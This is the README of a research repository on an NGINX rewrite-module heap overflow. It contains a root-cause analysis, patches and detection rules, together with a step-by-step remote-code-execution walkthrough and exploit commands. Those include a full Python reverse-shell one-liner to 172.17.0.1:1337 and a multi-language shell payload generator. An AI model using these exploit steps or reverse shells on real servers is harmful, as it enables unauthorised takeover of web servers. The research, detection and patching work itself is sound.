Full CVE-2026-42945 research repository with heap buffer overflow analysis, RCE exploit (heap spray + Feng Shui), detection scripts, and patching guidance for NGINX rewrite module vulnerability.
| Metric | Value |
|---|
| CVSS v4.0 | 9.2 (Critical) |
| CVSS v3.1 | 8.1 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | 122 — Heap-based Buffer Overflow |
| Introduced | June 2008 — v0.6.27 |
| Discovered | April 2026 — DepthFirst Research |
| Fixed | May 13, 2026 — v1.30.1, v1.31.0 |
| CVE Published | May 21, 2026 |
| Lifetime | ~18 years (undetected) |
| Fix Commit | 524977e7c534e87e5b55739fa74601c9f1102686 |
An unauthenticated, remote attacker can trigger a deterministic heap buffer overflow in NGINX worker processes by sending a crafted HTTP request to a server with a specific rewrite + set/if/rewrite configuration pattern. The overflow corrupts heap metadata (ngx_pool_cleanup_t pointers), enabling Remote Code Execution (RCE) via heap spray and Feng Shui techniques.
server {
listen 19321;
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
}
Key requirements:
rewrite directive whose replacement contains ? (query-string separator)set, if, or rewrite directive that references an unnamed PCRE capture ($1, $2, etc.)? in the rewrite replacement triggers ngx_http_script_start_args_code which sets e->is_args = 1| Capability | Description |
|---|---|
| Denial of Service | Crash worker processes deterministically, causing respawn loops (works regardless of ASLR) |
| Remote Code Execution | With ASLR disabled (or bypassed via partial overwrite), achieve full RCE as the nginx user |
| Data Exfiltration | Through memory read primitives, extract sensitive data from worker heap |
| Persistence | Plant backdoors via code execution in worker process memory |
NGINX's ngx_http_rewrite_module uses a two-pass script engine in src/http/ngx_http_script.c:
ngx_http_script_run): iterates all script codes to compute the total buffer size needed. Writes lengths to le.ip and le.pos.ngx_http_script_copy_len/_code): iterates again, writing actual bytes into the pre-allocated buffer at e->ip and e->pos.Each script code has two handlers: one for each pass. For example:
ngx_http_script_copy_len → ngx_http_script_copy_codengx_http_script_start_args_len → ngx_http_script_start_args_codeis_args FlagThe flag e->is_args on the engine structure (ngx_http_script_engine_t) controls how the copy pass handles certain characters:
typedef struct {
u_char *ip;
u_char *pos;
ngx_http_variable_value_t *sp;
ngx_str_t buf;
int flushed;
unsigned is_args:1; // <-- THE BUG
unsigned ncaptures:1;
ngx_uint_t captures_size;
// ...
} ngx_http_script_engine_t;
When e->is_args = 1, the copy-code for $N capture references calls ngx_escape_uri() with NGX_ESCAPE_ARGS, which expands:
+ → %2B (1 byte → 3 bytes, +200%)% → %25 (1 byte → 3 bytes, +200%)& → %26 (1 byte → 3 bytes, +200%)The execution flow for the vulnerable pattern:
rewrite ^/api/(.*)$ /internal?migrated=true;
? in the replacement string, which triggers ngx_http_script_start_args_code, setting e->is_args = 1.e->is_args is NEVER CLEARED.Then:
set $original_endpoint $1;
A fresh sub-engine (le) is created for the length pass:
ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
This correctly zeroes le.is_args = 0, so the length pass returns the raw, unescaped capture length.
The copy pass reuses the main engine e, which still has e->is_args = 1 from step 1. The copy pass applies URI-escaping, expanding each escapable character from 1 byte to 3 bytes inside a buffer that was sized for the raw length — heap overflow.
Pass 1 (Length — sub-engine le):
le.is_args = 0
capture $1 = "A+++++B" → length = 7
Buffer allocated: 7 bytes
Pass 2 (Copy — main engine e):
e.is_args = 1 ← LEAKED from rewrite
capture $1 = "A+++++B"
ngx_escape_uri("A+++++B", NGX_ESCAPE_ARGS):
A → A (1 byte)
+ → %2B (3 bytes) ← EXPANSION
+ → %2B (3 bytes)
+ → %2B (3 bytes)
+ → %2B (3 bytes)
+ → %2B (3 bytes)
B → B (1 byte)
total written: 17 bytes
buffer size: 7 bytes
OVERFLOW: 10 bytes
The expansion ratio is 7 + (n_escapable * 2) where n_escapable is the count of +, %, and & in the capture.
| Step | Technique | Description |
|---|---|---|
| 1 | Overflow | Send crafted URI with + padding to overflow heap buffer |
| 2 | Heap Spray | POST large bodies to /spray to fill heap with controlled data |
| 3 | Feng Shui | Arrange allocations so overflow target (ngx_pool_cleanup_t) is adjacent |
| 4 | Corrupt Handler | Overflow overwrites ngx_pool_cleanup_t.handler with system() address |
| 5 | Trigger Cleanup | Wait for pool destruction → system(cmd) executes attacker command |
| 6 | Reverse Shell | Chain to reverse shell payload for interactive access |
Single-request Feng Shui fails because the overflow corrupts the pool's metadata (->d.next, ->d.failed) before reaching the cleanup pointer. When the pool is destroyed at request end, the corrupted metadata causes a crash before system() is called.
Instead, the exploit uses cross-request Feng Shui:
/spray. The backend (server.py) holds the response with X-Delay header, keeping the connection open and preserving the heap allocation. The spray fills the heap with fake ngx_pool_cleanup_t blocks.cleanup pointer (not pool metadata), pointing it to the sprayed fake block.system(cmd).| Symbol | Value (Docker, ASLR off) | Description |
|---|---|---|
HEAP_BASE | 0x555555659000 | Base of nginx heap |
system@libc | 0x7ffff6f6e420 | system() in glibc |
NGX_CYCLES_POOL | 0x5555556a4040 | Pointer to cycles pool |
| Fake cleanup addr | 0x5555556a4030 | Spray target address |
Without disabling ASLR, the DoS (crash) still works deterministically. For RCE with ASLR enabled, two approaches:
/proc/self/maps or use the log_parser.py memory analysis to determine layout.Commit: 524977e7c534e87e5b55739fa74601c9f1102686
File: src/http/ngx_http_script.c
Line: ~1205 (in ngx_http_script_regex_end_code)
void
ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
{
ngx_http_script_regex_code_t *code;
code = (ngx_http_script_regex_code_t *) e->ip;
+ e->is_args = 0; /* ← THE FIX */
e->ip += sizeof(ngx_http_script_regex_code_t);
// ...
}
ngx_http_script_regex_end_code runs after every regex evaluation during both the length and copy passes. Resetting e->is_args = 0 here ensures:
set, if, rewrite) start with a clean is_args = 0ngx_http_script_start_args_code can still set is_args = 1 when it encounters ? in a replacement string — the fix doesn't break that functionalitypatches/0002-hardening-bounds-check.patch adds a bounds check in ngx_http_script_copy_capture_code:
if (e->pos + len > e->buf.data + e->buf.len) {
return; /* gracefully truncate instead of overflowing */
}
| Patch | Nginx Versions |
|---|---|
patches/0001-fix-is_args.patch | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
patches/backport-1.22.x.patch | 1.22.0–1.22.1 |
patches/backport-1.24.x.patch | 1.24.0–1.24.1 |
patches/backport-1.26.x.patch | 1.26.0–1.26.1 |
| Range | Status |
|---|---|
| 0.1.0 – 0.6.26 | Unaffected (rewrite module pre-dates unnamed captures) |
| 0.6.27 – 1.30.0 | Vulnerable (18-year window) |
| 1.30.1 | First fixed release |
| 1.31.0+ | Fixed (mainline) |
| Release | Affected | Fixed |
|---|---|---|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |
| Product | Affected | Status |
|---|---|---|
| NGINX Instance Manager | 2.16.0–2.21.1 | Advisory pending |
| F5 NGINX WAF | 5.9.0–5.12.1 | Advisory pending |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | Advisory pending |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | Advisory pending |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | Advisory pending |
| NGINX Agent | 2.0.0–2.35.0 | Advisory pending |
bash detection/detect_vuln.sh
This script checks:
rewrite + ? + capture pattern# Scan a single config
python3 exploit/config_scanner.py /etc/nginx/nginx.conf
# Scan all configs in a directory
python3 exploit/config_scanner.py /etc/nginx/
# Fix vulnerable patterns (convert to named captures)
python3 exploit/config_scanner.py /etc/nginx/nginx.conf --fix
python3 detection/container_scan.py
Scans local Docker images for NGINX labels/env vars indicating vulnerable versions.
| Rule Set | File | Coverage |
|---|---|---|
| ModSecurity | detection/modsecurity_rule.conf | Blocks 100+ consecutive +, 50+ encoded escapable chars, rate-limits spray endpoints |
| Suricata/Snort | detection/suricata_rule.rules | Detects excess + in GET URIs, encoded char floods, POST spray to /spray, crash-loop DoS |
| Falco | detection/falco_rule.yaml | Runtime: SIGSEGV on nginx worker, crash loop (3+ in 60s), heap spray POST detection |
# Parse error log for crash and exploit indicators
python3 exploit/log_parser.py /var/log/nginx/error.log
# Watch mode (tail -f equivalent)
python3 exploit/log_parser.py /var/log/nginx/error.log --watch
Replace unnamed captures with named captures in all rewrite directives:
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;
# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;
Named captures do not go through ngx_escape_uri(..., NGX_ESCAPE_ARGS), so even with e->is_args = 1, no expansion occurs and no overflow happens.
bash detection/harden_nginx.sh /etc/nginx/nginx.conf
Applies these hardening measures:
bash detection/check_aslr.sh
CVE-2026-42945/
├── .github/workflows/ci.yml GitHub Actions CI (single CI)
├── .gitignore
├── README.md This file
├── Makefile Build automation targets
├── COMMIT_LOG.md 1000+ commit record
│
├── docker/ Docker environment
│ ├── Dockerfile Vulnerable NGINX builder (commit 98fc3bb78)
│ ├── Dockerfile.patched Multi-stage vuln/patched builder
│ ├── Dockerfile.asan ASAN-enabled vulnerable NGINX
│ ├── docker-compose.yml Service orchestration
│ ├── nginx.conf Vulnerable rewrite configuration
│ ├── entrypoint.sh Container entrypoint (setarch -R for ASLR off)
│ └── server.py Backend HTTP server (handles spray retention)
│
├── exploit/ Attack & exploitation tools
│ ├── trigger.py Overflow trigger & health check
│ ├── exploit.py Full RCE: heap spray + Feng Shui
│ ├── h2_trigger.py HTTP/2 (h2c) overflow variant
│ ├── escape_calc.py Character expansion ratio calculator
│ ├── compare_lengths.py Raw vs escaped length comparison
│ ├── heap_layout.py Parse /proc/PID/maps for heap/libc base
│ ├── find_safe_addrs.py Search for URI-safe address bytes
│ ├── leak_aslr.py ASLR partial-overwrite brute force
│ ├── monitor_worker.py Worker PID crash detection & respawn tracking
│ ├── log_parser.py Error log crash/exploit pattern parser
│ └── config_scanner.py Config file pattern scanner & fixer
│
├── shell/ Reverse shell verification
│ ├── shell_listener.py Interactive/verify-mode TCP listener
│ ├── shell_payloads.py Payload generator (10 shell types)
│ ├── shell_verify.py End-to-end automated verification
│ ├── shell_manager.py Lifecycle orchestrator
│ └── shell_test_runner.sh Batch runner across all shell types
│
├── patches/ Fix patches & backports
│ ├── 0001-fix-is_args.patch Upstream one-line fix
│ ├── 0002-hardening-bounds-check.patch Defense-in-depth
│ ├── backport-1.22.x.patch Backport for 1.22.x
│ ├── backport-1.24.x.patch Backport for 1.24.x
│ └── backport-1.26.x.patch Backport for 1.26.x
│
├── configs/ Nginx configuration samples
│ ├── vulnerable.conf 3 vulnerable patterns
│ ├── safe.conf 5 safe patterns
│ ├── named_capture.conf Mitigated named-capture pattern
│ └── advanced/
│ ├── vulnerable_advanced.conf rewrite+if, rewrite+rewrite, flags
│ ├── vulnerable_ingress.conf ingress-nginx rewrite-target patterns
│ └── vulnerable_gateway.conf nginx-gateway fabric patterns
│
├── detection/ WAF rules & detection/hardening
│ ├── modsecurity_rule.conf ModSecurity CRS rules
│ ├── suricata_rule.rules Suricata/Snort signatures
│ ├── falco_rule.yaml Falco runtime rules
│ ├── detect_vuln.sh Version & config pattern detection
│ ├── check_aslr.sh ASLR status verification
│ ├── container_scan.py Docker image version scanner
│ └── harden_nginx.sh Security hardening script
│
├── fuzz/ Fuzzing harness
│ ├── ngx_http_script_fuzz.c libFuzzer harness (~200 lines)
│ ├── fuzz_build.sh Build script (clang + libFuzzer + ASAN)
│ └── corpus/
│ └── README.md Seed corpus documentation
│
├── test/ Test suite
│ ├── test_exploit.py Python unittest (server, config, fix)
│ └── run_tests.sh Shell test runner
│
├── docs/ Technical documentation
│ ├── root-cause-analysis.md Deep dive into the bug
│ ├── exploitation-guide.md Step-by-step exploitation
│ ├── detection-guide.md Detection & monitoring
│ ├── mitigation-guide.md Mitigation strategies
│ ├── FAQ.md Frequently asked questions
│ ├── timeline.md Vulnerability timeline
│ ├── operational-guidance.md Operations & incident response
│ ├── case-study.md Real-world attack scenario
│ └── presentation-slides.md Conference presentation
│
├── tools/ Utility & analysis scripts
│ ├── apply_fix.sh Patch application & rollback
│ ├── backport_check.py Fix-ancestry & source-code checker
│ ├── coredump_analyzer.sh GDB core dump analysis
│ ├── performance_benchmark.sh Throughput/latency (ab, wrk, siege)
│ ├── memory_analysis.sh Valgrind massif/callgrind, pmap
│ ├── trace_script_engine.sh GDB script-engine tracing
│ ├── regression_matrix.sh Multi-version regression testing
│ ├── test_all_configs.sh Exhaustive config pattern testing
│ ├── afl_runner.sh AFL++ fuzzer launcher
│ └── verify_project.sh Project integrity verification
│
└── pipelines/ Pipeline orchestrators
├── run_all.sh Bash pipeline (6 phases)
└── run_all.ps1 PowerShell pipeline
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up
# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}
# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓
# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓
# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned
# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf
# Using Makefile
make build # docker compose -f docker/docker-compose.yml build
make run # docker compose -f docker/docker-compose.yml up
# Or directly
cd docker && docker compose up --build
The Docker environment:
98fc3bb78 (last vulnerable commit before fix)util-linux (for setarch -R to disable ASLR)setarch x86_64 -R to disable ASLR for deterministic exploit address layoutSYS_PTRACE capability and seccomp=unconfined for debuggingmake vuln-container
# Builds: docker build -t nginx-rift-vuln \
# -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/
make fix-container
# Builds: docker build -t nginx-rift-fixed \
# -f docker/Dockerfile.patched --build-arg NGINX_TYPE=patched docker/
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/
git clone https://github.com/nginx/nginx.git /tmp/nginx-src
cd /tmp/nginx-src && git checkout 98fc3bb78
./auto/configure --with-cc-opt='-g -O2 -fno-omit-frame-pointer'
make -j$(nproc)
sudo cp objs/nginx /usr/local/sbin/nginx
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
This sends:
GET /api/AAAA...[349 As]+++++...[969 +s] HTTP/1.1
The + characters in the capture $1 get expanded 3× during the copy pass while the buffer was sized for the raw length, overflowing the heap.
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned
python3 exploit/escape_calc.py --find-min 64
Calculates the minimum number of + signs needed to overflow a target number of bytes (useful when exploiting specific heap structures).
python3 exploit/escape_calc.py --prefix 349 --plus 969
Outputs the expansion ratio for a given prefix length and number of escapable characters.
The exploit implements cross-request Feng Shui to achieve reliable code execution:
Time │
│ ┌─────────────────────┐
│ │ Request 1: Spray │── POST /spray with large body
│ │ Holds connection │ Backend delays response via X-Delay
│ └─────────┬───────────┘
│ │ Allocations persist on heap
│ ┌─────────┴───────────┐
│ │ Request 2: Overflow │── GET /api/A...+++...
│ │ Corrupts cleanup ptr │ Overwrites ngx_pool_cleanup_t.handler
│ └─────────┬───────────┘
│ │
│ ┌─────────┴───────────┐
│ │ Pool Destruction │── Spray response completes
│ │ → system("cmd") │ Cleanup chain walks to fake block
│ └─────────────────────┘
└──────────────────────────────────────────►
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.17.0.1\",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'" \
--tries 3
| Flag | Default | Description |
|---|---|---|
--host | 127.0.0.1 | Target host |
--port | 19321 | Target port |
--cmd | — | Command to execute (required unless --shell) |
--shell | — | Use interactive shell mode |
--tries | 3 | Number of exploit attempts |
--delay | 2.0 | Delay between spray and overflow (seconds) |
--payload | — | Path to custom payload file |
--debug | — | Enable verbose debug output |
python3 exploit/heap_layout.py
Requires a running nginx worker PID. Parses /proc/PID/maps to find:
system() function addresspython3 exploit/find_safe_addrs.py --heap-base 0x555555659000 --count 5
Finds heap addresses whose bytes do not include escapable characters (+, %, &, ?, etc.) for use in exploit payload construction.
shell_manager.py
│
├── shell_payloads.py → Generate payload strings for 10 shell types
├── shell_listener.py → Start TCP listener (interactive + verify mode)
├── exploit/exploit.py → Send exploit with payload to target
└── shell_verify.py → Wait for connection, run commands, verify output
| Type | Binary | Notes |
|---|---|---|
bash | /dev/tcp | Built-in bash TCP |
python | python3 -c | Most reliable, always available |
nc | nc | Netcat |
perl | perl -e | |
ruby | ruby -rsocket -e | |
php | php -r | |
socat | socat | |
telnet | telnet | |
openssl | openssl s_client | Requires certificate |
powershell | powershell | Windows targets |
# Terminal 1: Start interactive listener
python3 shell/shell_listener.py --port 1337
# Terminal 2: Run exploit with reverse shell
python3 exploit/exploit.py --host 127.0.0.1 --port 19321 \
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.17.0.1\",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
--shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"
# Full pipeline across all shell types
bash shell/shell_test_runner.sh
# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
--shell-type python --listen-port 1337 --callback-ip 172.17.0.1
python3 shell/shell_payloads.py --type python --host 172.17.0.1 --port 1337
python3 shell/shell_payloads.py --type all --host 172.17.0.1 --port 1337
python3 shell/shell_payloads.py --list
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch
# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch
bash tools/apply_fix.sh /path/to/nginx-src patches/0002-hardening-bounds-check.patch
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch
# Check that the fix contains the key line
grep 'is_args = 0' patches/0001-fix-is_args.patch
# Dry-run apply
patch -p1 --dry-run -i patches/0001-fix-is_args.patch
# Via Makefile
make test
# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v
bash test/run_tests.sh
Runs:
bash tools/regression_matrix.sh
Tests multiple NGINX versions (1.22.0, 1.24.0, 1.26.0, 1.30.0, 1.30.1) against vulnerable and safe configurations, verifying crash/no-crash expectations.
bash tools/test_all_configs.sh
Tests all config patterns (basic, advanced, ingress, gateway) with overflow triggers.
The fuzzer (fuzz/ngx_http_script_fuzz.c) simulates the two-pass script engine:
e->is_args = 1cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/
bash tools/afl_runner.sh
Launches AFL++ with ASAN, configurable timeout, and memory limits against the fuzzing harness.
The fuzz/corpus/ directory contains seed inputs that reproduce the vulnerable pattern, including:
The project uses a single GitHub Actions CI workflow (.github/workflows/ci.yml) with these jobs:
| Job | What it does |
|---|---|
lint | ShellCheck, Python syntax validation |
scan-configs | Runs config_scanner.py against all config samples |
fuzz-build | Builds the libFuzzer harness |
test | Runs pytest/unittest suite |
detect-patch | Verifies patch format and fix content |
verify-project | Runs tools/verify_project.sh |
# Bash (Linux/macOS)
bash pipelines/run_all.sh
# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker
The pipeline executes 7 phases:
| Document | Description |
|---|---|
docs/root-cause-analysis.md | Deep technical analysis of the two-pass script engine bug, with code walkthroughs and diagrams |
docs/exploitation-guide.md | Step-by-step exploitation, heap spray, Feng Shui, address calculation, ASLR bypass |
docs/detection-guide.md | Config scanning, log analysis, WAF rules, SIEM integration, anomaly detection |
docs/mitigation-guide.md | Named capture conversion, rate limiting, WAF deployment, upgrade procedures |
docs/FAQ.md | Frequently asked questions about the vulnerability, exploitation, and remediation |
docs/timeline.md | Full disclosure timeline from bug introduction in 2008 through fix in 2026 |
docs/operational-guidance.md | Incident response, forensics, IOC collection, emergency mitigation |
docs/case-study.md | Real-world attack scenario simulation with kill-chain analysis |
docs/presentation-slides.md | Conference/meetup presentation with speaker notes |
| Metric | Value |
|---|---|
| Total files | 80+ |
| Directories | 13 (docker, exploit, shell, patches, configs, detection, fuzz, test, docs, tools, pipelines, .github/workflows, configs/advanced) |
| Python scripts | 22 (exploit, detection, tools, shell, test) |
| Shell scripts | 15 (detection, tools, shell, test, pipelines) |
| Patches | 5 (1 fix + 1 hardening + 3 backports) |
| WAF rule sets | 3 (ModSecurity, Suricata, Falco) |
| CI config | 1 (GitHub Actions — only CI) |
| Documentation | 9 detailed technical documents |
| Config samples | 7 (4 vulnerable, 2 safe, 1 named capture + 3 advanced) |
| Commit log | 1003+ individual commits |
| Shell types | 10 (bash, python, nc, perl, ruby, php, socat, telnet, openssl, powershell) |
| Fuzz harness | 1 (libFuzzer, ~200 lines C) |
| Test cases | 8 unit tests + shell runner |
| NGINX versions covered | 20 in regression matrix |
| Lifecycle | 18 years (2008–2026) |
| Reference | URL |
|---|---|
| NVD Entry | https://nvd.nist.gov/vuln/detail/CVE-2026-42945 |
| Fix Commit | https://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686 |
| F5 Advisory | https://my.f5.com/manage/s/article/K000161019 |
| NGINX Changelog | https://nginx.org/en/CHANGES |
| Reference | URL |
|---|---|
| DepthFirst Research | https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability |
| PoC Repository | https://github.com/DepthFirstDisclosures/Nginx-Rift |
| CWE-122 | https://cwe.mitre.org/data/definitions/122.html |
| Resource | Description |
|---|---|
ngx_http_script.c | The buggy source file in NGINX's rewrite module |
ngx_pool_cleanup_t | The heap structure corrupted for RCE |
ngx_escape_uri() | The expansion function that causes the overflow |
setarch(8) | Linux tool to disable ASLR for deterministic exploit addresses |
This project is for educational and defensive security research purposes. The vulnerability has been responsibly disclosed and patched by the NGINX maintainers.